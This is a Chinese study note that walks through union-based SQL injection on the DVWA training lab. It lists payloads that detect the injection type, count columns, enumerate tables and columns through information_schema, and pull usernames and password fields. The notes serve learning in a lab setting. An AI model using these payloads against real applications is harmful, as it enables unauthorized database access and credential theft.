sql注入学习笔记-dvwa实战
一、sql注入基础
sql注入就是指Web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击可控的,并且参数带入数据库查询,攻击者可以通过构造不同的sql语句来实现对数据库的任意操作。
sql注入漏洞的产生需要满足两个条件 (1)参数用户可控:前端传给后端的参数内容是用户可以控制的 (2)参数带入数据库查询:传入参数拼接到sql语句,且带入数据库查询
二、sql注入之union注入实战-dvwa
1.先判断是数字型还是字符型
(1)如果是数字型 1 and 1=1 #正常回显 1 and 1=2 #无显示或者页面报错 (2)如果是字符型 1’ and ‘1’=‘1 #正常显示 1’ and ‘1’=2 #无显示或者页面报错
如下:无论是1=2还是1=1都是正常回显,说明不是数字型,是字符型
2.使用order by查询出表的字段数量
1 order by 2#
查询成功
1 order by 3#
查询失败
3.利用联合注入查询数据库名称、表、字段、字段数据
如第二步,可以确定是2个字段,可以用union select 1,2,在1或2处输入mysql查询语句
(1)获取数据库库名,得到结果为:dvwa
1 union select 1,database() #
(2)获取两个表名:guestbook,users
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
获取表名,用到limit,且查询语句要用括号括起来。limit 0,1意思是从第0个开始显示1个,例如limit 1,1就是显示第二个数据,以此循环类推。 1’ union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1) # 1’ union select 1,(select table_name from information_schema.tables where table_schema=database() limit 1,1) #
(3)获取字段名称 1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’ # 与获取表名类似,用limit循环得出全部字段名称,这里只展示两个 cmment_id字段: 1’ union select 1,(select column_name from information_schema.columns where table_schema=‘dvwa’ and table_name=‘guestbook’ limit 0,1) # 1’ union select 1,(select column_name from information_schema.columns where table_schema=‘dvwa’ and table_name=‘guestbook’ limit 0,1) # comment字段: 1’ union select 1,(select column_name from information_schema.columns where table_schema=‘dvwa’ and table_name=‘guestbook’ limit 1,1) #
(4)获取字段数据 例如获取users表数据
1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
或用limit控制获取第一个用户的密码
1 union select 1,(select password from users limit 0,1) #